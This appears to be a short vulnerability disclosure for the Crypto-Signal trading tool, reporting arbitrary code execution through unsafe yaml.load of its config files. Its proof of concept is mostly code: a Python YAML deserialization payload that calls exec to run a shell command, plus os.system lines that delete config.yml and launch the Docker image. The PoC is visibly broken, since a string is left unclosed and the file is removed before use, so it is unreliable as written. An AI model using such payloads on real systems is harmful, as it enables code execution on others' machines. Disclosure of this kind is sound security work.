vulnerability arbitrary code execution
severity 3.8
language python
registry other


Crypto Signals is a command line tool that automates your crypto currency Technical Analysis (TA). It is maintained by a community of traders, engineers, data scientists, PMs, & countless generous individuals who wish to democratize the equal & open access to the greatest wealth re-distribution experiment in human and monetary policy history - Bitcoin

  • Vulnerability discription unsafe loading of data by the yaml.load function leading to Arbitrary code execution. Here this vulnerability forces to execute Code inside the docker container which runs the tool Crypto-Signal.

Proof of Concept

  • Vulnerable code part
with open('defaults.yml', 'r') as config_file:
            default_config = yaml.load(config_file)
if os.path.isfile('config.yml'):
    with open('config.yml', 'r') as config_file:
        user_config = yaml.load(config_file)
  1. run
import os
exploit = """settings: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('echo pwned')"
os.system('rm -r config.yml')
os.system('docker run --rm -v $PWD/config.yml:/app/config.yml shadowreaver/crypto-signal:master')